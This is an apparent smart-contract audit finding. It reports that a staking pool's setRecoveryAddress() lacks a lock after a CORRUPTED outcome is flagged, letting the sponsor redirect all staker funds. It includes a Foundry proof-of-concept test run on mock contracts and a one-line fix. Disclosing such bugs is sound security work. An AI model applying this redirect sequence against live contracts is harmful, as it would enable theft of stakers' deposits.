FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

setRecoveryAddress() has no lock after outcome is flagged, allowing sponsor to redirect all staker funds

Author Revealed upon completion

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

    The sponsor controls recoveryAddress - the address that receives all staker funds in a bad-faith CORRUPTED outcome. The contract locks expiry after the first stake and locks scope once the registry leaves pre-attack staging to protect stakers from parameter changes after they deposit.

  • Explain the specific issue or problem in one or more sentences

    setRecoveryAddress() has no equivalent lock. The sponsor can change recoveryAddress after the moderator flags CORRUPTED and before claimCorrupted() is called, redirecting the entire pool to an address they control.

function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
// @> No check on outcome state - callable even after CORRUPTED is flagged
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress; // @> reads live at claimCorrupted() transfer time
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

    The sponsor calls setRecoveryAddress() in the window between the moderator flagging CORRUPTED and the first claimCorrupted() call - no timelock, no delay, and no on-chain mechanism prevents this

  • Reason 2

    claimCorrupted() has no access control and can be triggered by anyone, so the sponsor simply redirects the address first and the sweep happens automatically

Impact:

  • Impact 1

    All staker principal and bonus is swept to the sponsor's wallet instead of the address stakers verified before depositing - complete loss of funds in the bad-faith CORRUPTED scenario

  • Impact 2

    The bad-faith CORRUPTED punishment mechanism is fully bypassed - the sponsor who caused or failed to prevent the corruption controls where the punishment funds go

Proof of Concept

The following test demonstrates the attack. Place in test/unit/ and run with forge test --match-test test_RecoveryAddressRedirectAfterCorrupted -vv

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract RecoveryAddressRedirectTest is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
ConfidencePool internal pool;
address internal agreement;
address internal moderator = makeAddr("moderator");
address internal originalRecovery = makeAddr("originalRecovery");
address internal sponsorAttackerWallet = makeAddr("sponsorAttackerWallet");
address internal sponsor = makeAddr("sponsor");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
function setUp() public {
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(sponsor);
agreement = address(agreementContract);
agreementContract.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory scope = new address[](1);
scope[0] = DEFAULT_SCOPE_ACCOUNT;
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
originalRecovery,
sponsor,
scope
);
}
function test_RecoveryAddressRedirectAfterCorrupted() public {
// Alice and Bob stake, sponsor contributes bonus
token.mint(alice, 100 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
token.mint(bob, 50 * ONE);
vm.startPrank(bob);
token.approve(address(pool), 50 * ONE);
pool.stake(50 * ONE);
vm.stopPrank();
token.mint(sponsor, 20 * ONE);
vm.startPrank(sponsor);
token.approve(address(pool), 20 * ONE);
pool.contributeBonus(20 * ONE);
vm.stopPrank();
// Registry transitions to CORRUPTED
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// Moderator flags bad-faith CORRUPTED
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
// Sponsor redirects recoveryAddress - nothing blocks this
vm.prank(sponsor);
pool.setRecoveryAddress(sponsorAttackerWallet);
// Anyone triggers the sweep
pool.claimCorrupted();
// All 170 tokens went to attacker wallet
assertEq(token.balanceOf(sponsorAttackerWallet), 170 * ONE);
assertEq(token.balanceOf(originalRecovery), 0);
assertEq(token.balanceOf(alice), 0);
assertEq(token.balanceOf(bob), 0);
}
}

Recommended Mitigation

Lock recoveryAddress once the outcome is set, matching the same pattern used for expiry and scope.

function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
+ if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!